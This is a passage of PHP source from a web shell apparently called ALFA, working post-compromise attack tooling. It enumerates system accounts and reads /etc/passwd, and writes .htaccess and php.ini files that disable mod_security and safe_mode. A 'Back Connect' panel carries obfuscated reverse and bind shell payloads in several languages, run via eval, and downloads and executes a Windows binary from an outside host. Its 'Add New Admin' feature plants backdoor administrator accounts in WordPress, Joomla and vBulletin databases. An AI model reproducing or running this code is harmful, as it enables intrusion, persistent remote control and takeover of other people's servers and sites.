  2099. }
  2100. }
  2101. }
  2102. }
  2103. if (!empty($_POST['alfa5']) && isset($_POST['alfa5'])) {
  2104. if (!_alfa_file_exists('/etc/virtual/domainowners')) {
  2105. echo __pre();
  2106. $i = 0;
  2107. while ($i < 60000) {
  2108. $line = @posix_getpwuid($i);
  2109. if (!empty($line)) {
  2110. while (list($key, $vl) = each($line)) {
  2111. echo $vl . "
  2112. ";
  2113. break;
  2114. }
  2115. }
  2116. $i++;
  2117. }
  2118. } else {
  2119. echo __pre();
  2120. $users = _alfa_file('/etc/virtual/domainowners');
  2121. foreach ($users as $boz) {
  2122. $user = explode(':', $boz);
  2123. echo trim($user[1]) . '<br>';
  2124. }
  2125. }
  2126. }
  2127. if (!empty($_POST['alfa4']) && isset($_POST['alfa4'])) {
  2128. echo __pre();
  2129. if (_alfa_can_runCommand(true, true)) {
  2130. echo __read_file('/etc/passwd');
  2131. } elseif (function_exists('posix_getpwuid')) {
  2132. for ($uid = 0;$uid < 60000;$uid++) {
  2133. $ara = @posix_getpwuid($uid);
  2134. if (!empty($ara)) {
  2135. while (list($key, $val) = each($ara)) {
  2136. echo "$val:";
  2137. }
  2138. echo "
  2139. ";
  2140. }
  2141. }
  2142. } else {
  2143. __alert('failed...');
  2144. }
  2145. }
  2146. if (!empty($_POST['alfa2']) && isset($_POST['alfa2'])) {
  2147. @__write_file($GLOBALS['cwd'] . '.htaccess', "#Generated By MKA7
  2148. <IfModule mod_security.c>
  2149. Sec------Engine Off
  2150. Sec------ScanPOST Off
  2151. </IfModule>");
  2152. echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
  2153. }
  2154. if (!empty($_POST['alfa1']) && isset($_POST['alfa1'])) {
  2155. @__write_file($GLOBALS['cwd'] . 'php.ini', "safe_mode=OFF
  2156. disable_functions=MKA7");
  2157. echo '<center><b><big> php.ini created...!</center></b></big>';
  2158. }
  2159. if (!empty($_POST['alfa3']) && isset($_POST['alfa3'])) {
  2160. @__write_file($GLOBALS['cwd'] . '.htaccess', "#Generated By MKA7
  2161. <Files *.php>
  2162. ForceType application/x-httpd-php4
  2163. </Files>
  2164. <IfModule mod_security.c>
  2165. SecFilterEngine Off
  2166. SecFilterScanPOST Off
  2167. </IfModule>");
  2168. echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
  2169. }
  2170. echo '<br></div>';
  2171. alfafooter();
  2172. }
  2173. function __get_resource($content) {
  2174. return @gzinflate(__ZGVjb2Rlcg($content));
  2175. }
  2176. function __write_file($file, $content) {
  2177. if ($fh = @fopen($file, 'wb')) {
  2178. if (fwrite($fh, $content) !== false) return true;
  2179. }
  2180. return false;
  2181. }
  2182. function bcinit($evalType, $evalCode, $evalOptions, $evalArguments) {
  2183. $res = "<font color='green'>[ Success...! ]</font>";
  2184. $err = "<font color='red'>[ Failed...! ]</font>";
  2185. if ($evalOptions != '') $evalOptions = $evalOptions . ' ';
  2186. if ($evalArguments != '') $evalArguments = ' ' . $evalArguments;
  2187. if ($evalType == 'c') {
  2188. $tmpdir = ALFA_TEMPDIR;
  2189. chdir($tmpdir);
  2190. if (is_writable($tmpdir)) {
  2191. $uniq = substr(md5(time()), 0, 8);
  2192. $filename = $evalType . $uniq . '.c';
  2193. $path = $filename;
  2194. if (__write_file($path, $evalCode)) {
  2195. $ext = ($GLOBALS['sys'] == 'win') ? '.exe' : '.out';
  2196. $pathres = $filename . $ext;
  2197. $evalOptions = '-o ' . $pathres . ' ' . $evalOptions;
  2198. $cmd = 'gcc ' . $evalOptions . $path;
  2199. alfaEx($cmd);
  2200. if (is_file($pathres)) {
  2201. if (chmod($pathres, 0755)) {
  2202. $cmd = $pathres . $evalArguments;
  2203. alfaEx($cmd);
  2204. } else {
  2205. $res = $err;
  2206. }
  2207. unlink($pathres);
  2208. } else {
  2209. $res = $err;
  2210. }
  2211. unlink($path);
  2212. } else {
  2213. $res = $err;
  2214. }
  2215. }
  2216. return $res;
  2217. } elseif ($evalType == 'java') {
  2218. $tmpdir = ALFA_TEMPDIR;
  2219. chdir($tmpdir);
  2220. if (is_writable($tmpdir)) {
  2221. if (preg_match("/class\ ([^{]+){/i", $evalCode, $r)) {
  2222. $classname = trim($r[1]);
  2223. $filename = $classname;
  2224. } else {
  2225. $uniq = substr(md5(time()), 0, 8);
  2226. $filename = $evalType . $uniq;
  2227. $evalCode = 'class ' . $filename . ' { ' . $evalCode . ' } ';
  2228. }
  2229. $path = $filename . '.java';
  2230. if (__write_file($path, $evalCode)) {
  2231. $cmd = 'javac ' . $evalOptions . $path;
  2232. alfaEx($cmd);
  2233. $pathres = $filename . '.class';
  2234. if (is_file($pathres)) {
  2235. if (chmod($pathres, 0755)) {
  2236. $cmd = 'java ' . $filename . $evalArguments;
  2237. alfaEx($cmd);
  2238. } else {
  2239. $res = $err;
  2240. }
  2241. unlink($pathres);
  2242. } else {
  2243. $res = $err;
  2244. }
  2245. unlink($path);
  2246. } else {
  2247. $res = $err;
  2248. }
  2249. }
  2250. return $res;
  2251. }
  2252. return false;
  2253. }
  2254. function alfaconnect() {
  2255. alfahead();
  2256. $php = '7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=';
  2257. $python = 'pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==';
  2258. $perl = 'lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==';
  2259. $ruby = 'tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=';
  2260. $node = 'nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==';
  2261. $c = 'tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==';
  2262. $java = 'lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D';
  2263. echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
  2264. echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
  2265. <div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
  2266. $cbArr = array('php' => 'Php', 'perl' => 'Perl', 'python' => 'Python', 'ruby' => 'Ruby', 'c' => 'C', 'java' => 'Java', 'node' => 'NodeJs', 'bcwin' => 'Windows');
  2267. foreach ($cbArr as $key => $val) {
  2268. echo ("<option value='{$key}' " . ($GLOBALS['sys'] == 'win' ? 'selected' : '') . ">{$val}</option>");
  2269. }
  2270. echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
  2271. if (isset($_POST['alfa1']) && !empty($_POST['alfa1'])) {
  2272. $lang = $_POST['alfa1'];
  2273. $ip = $_POST['alfa2'];
  2274. $port = $_POST['alfa3'];
  2275. $arg = ($_POST['alfa4'] == 'bind' ? $port : $port . ' ' . $ip);
  2276. $tmpdir = ALFA_TEMPDIR;
  2277. $name = $tmpdir . '/' . $lang . uniqid() . rand(1, 99999);
  2278. $allow = array('perl', 'ruby', 'python', 'node');
  2279. eval('$lan=$' . $lang . ';');
  2280. if (in_array($lang, $allow)) {
  2281. if (__write_file($name, __get_resource($lan))) {
  2282. if (_alfa_can_runCommand(true, true)) {
  2283. $os = ($GLOBALS['sys'] != 'win') ? '1>/dev/null 2>&1 &' : '';
  2284. $out = alfaEx("$lang $name $arg $os");
  2285. if ($out == '') {
  2286. $out = "<font color='green'><center>[ Finished...! ]</center></font>";
  2287. }
  2288. echo ("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
  2289. }
  2290. } else {
  2291. echo ("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
  2292. }
  2293. }
  2294. if ($lang == 'java' || $lang == 'c') {
  2295. $code = __get_resource($lan);
  2296. $out = nl2br(bcinit($lang, $code, '', ''));
  2297. echo ("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
  2298. }
  2299. if ($lang == 'bcwin') {
  2300. $alfa = new AlfaCURL();
  2301. $s = $alfa->Send('http://solevisible.com/bc/windows.exe');
  2302. $tmpdir = ALFA_TEMPDIR;
  2303. $f = @fopen($tmpdir . '/bcwin.exe', 'w+');
  2304. @fwrite($f, $s);
  2305. @fclose($f);
  2306. $out = alfaEx($tmpdir . '/bcwin.exe ' . $_POST['alfa2'] . ' ' . $_POST['alfa3']);
  2307. }
  2308. if ($lang == 'php') {
  2309. echo "<pre class=ml1 style='margin-top:5px'>";
  2310. $code = __get_resource($lan);
  2311. if ($code !== false) {
  2312. $code = "\$target = \"" . $arg . "\";
  2313. " . $code;
  2314. eval($code);
  2315. echo ("<center><font color='green'>[ Finished...! ]</font></center>");
  2316. }
  2317. echo '</pre>';
  2318. }
  2319. }
  2320. echo '</div>';
  2321. alfafooter();
  2322. }
  2323. function alfapwchanger() {
  2324. alfahead();
  2325. echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
  2326. <center><h3>';
  2327. $vals = array('WordPress' => array('wp', 2), 'Joomla' => array('joomla', 3), 'vBulletin' => array('vb', 5), 'phpBB' => array('phpbb', 6), 'WHMCS' => array('whmcs', 7), 'MyBB' => array('mybb', 8), 'Php Nuke' => array('nuke', 9), 'Drupal' => array('drupal', 10), 'SMF' => array('smf', 11));
  2328. Alfa_Create_A_Tag('pwchanger', $vals);
  2329. echo '</h3></center>';
  2330. if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'wp') {
  2331. echo __pre() . '<center><center><div class="txtfont_header">| WordPress |</div>
  2332. <p>' . getConfigHtml('wp') . '</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  2333. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'mka7', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'mka7@pay-moon.com', 'inputSize' => '50'));
  2334. create_table($table);
  2335. echo '<p><input value=" " name="send" type="submit"></p></form>';
  2336. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
  2337. $localhost = $_POST['alfa3'];
  2338. $database = $_POST['alfa4'];
  2339. $username = $_POST['alfa5'];
  2340. $password = $_POST['alfa6'];
  2341. $admin = $_POST['alfa8'];
  2342. $SQL = $_POST['alfa9'];
  2343. $prefix = $_POST['alfa10'];
  2344. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2345. $solevisible = @mysqli_query($conn, 'insert into ' . $prefix . "users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
  2346. $solevisible = @mysqli_query($conn, 'select ID from ' . $prefix . "users where user_login='" . $admin . "'") or die(mysqli_error($conn));
  2347. $sole = @mysqli_num_rows($solevisible);
  2348. if ($sole == 1) {
  2349. $solevis = @mysqli_fetch_assoc($solevisible);
  2350. $res = $solevis['ID'];
  2351. }
  2352. $solevisible = @mysqli_query($conn, 'insert into ' . $prefix . "usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'" . $res . "','first_name','solevisible'),(null,'" . $res . "','last_name','solevisible'),(null,'" . $res . "','nickname','solevisible'),(null,'" . $res . "','description','solevisible'),(null,'" . $res . "','rich_editing','true'),(null,'" . $res . "','comment_shortcuts','false'),(null,'" . $res . "','admin_color','fresh'),(null,'" . $res . "','use_ssl','0'),(null,'" . $res . "','show_admin_bar_front','true'),(null,'" . $res . "','" . $prefix . "capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'" . $res . "','" . $prefix . "user_level','10'),(null,'" . $res . "','show_welcome_panel','1'),(null,'" . $res . "','" . $prefix . "dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
  2353. if ($solevisible) {
  2354. __alert('Success... ' . $admin . ' is created...');
  2355. }
  2356. }
  2357. }
  2358. if ($_POST['alfa2'] && $_POST['alfa2'] == 'joomla') {
  2359. echo __pre() . '<center><center><div class="txtfont_header">| Joomla |</div><p><p>' . getConfigHtml('joomla') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  2360. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'mka7@pay-moon.com', 'inputSize' => '50'));
  2361. create_table($table);
  2362. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2363. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2364. $localhost = $_POST['alfa3'];
  2365. $database = $_POST['alfa4'];
  2366. $username = $_POST['alfa5'];
  2367. $password = $_POST['alfa6'];
  2368. $admin = $_POST['alfa8'];
  2369. $SQL = $_POST['alfa9'];
  2370. $prefix = $_POST['alfa10'];
  2371. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2372. $solevisible = @mysqli_query($conn, 'insert into ' . $prefix . "users (id,name,username,email,password) values(null,'Super User','" . $admin . "','" . $SQL . "','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  2373. $solevisible = @mysqli_query($conn, 'select id from ' . $prefix . "users where username='" . $admin . "'") or die(mysqli_error($conn));
  2374. $sole = @mysqli_num_rows($solevisible);
  2375. if ($sole == 1) {
  2376. $solevis = @mysqli_fetch_assoc($solevisible);
  2377. $res = $solevis['id'];
  2378. }
  2379. $solevisible = @mysqli_query($conn, 'INSERT INTO ' . $prefix . "user_usergroup_map (user_id,group_id) VALUES ('" . $res . "', '8')") or die(mysqli_error($conn));
  2380. if ($solevisible) {
  2381. __alert('Success... ' . $admin . ' is created...');
  2382. }
  2383. }
  2384. }
  2385. if ($_POST['alfa4'] && $_POST['alfa4'] == 'vb') {
  2386. echo __pre() . '<center><center><div class="txtfont_header">| vBulletin |<div><p>' . getConfigHtml('vb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
  2387. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'mka7@pay-moon.com', 'inputSize' => '50'));
  2388. create_table($table);
  2389. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  2390. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
  2391. $localhost = $_POST['alfa2'];
  2392. $database = $_POST['alfa3'];
  2393. $username = $_POST['alfa5'];
  2394. $password = $_POST['alfa6'];
  2395. $prefix = $_POST['alfa7'];
  2396. $admin = $_POST['alfa8'];
  2397. $SQL = $_POST['alfa9'];
  2398. $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
  2399. $solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','" . date('Y-m-d') . "','" . time() . "')") or die(mysqli_error($conn));
  2400. $solevisible = @mysqli_query($conn, "select userid from {$prefix}user where username='" . $admin . "'") or die(mysqli_error($conn));
  2401. $sole = mysqli_num_rows($solevisible);
  2402. if ($sole == 1) {
  2403. $solevis = mysqli_fetch_assoc($solevisible);
  2404. $res = $solevis['userid'];
  2405. }
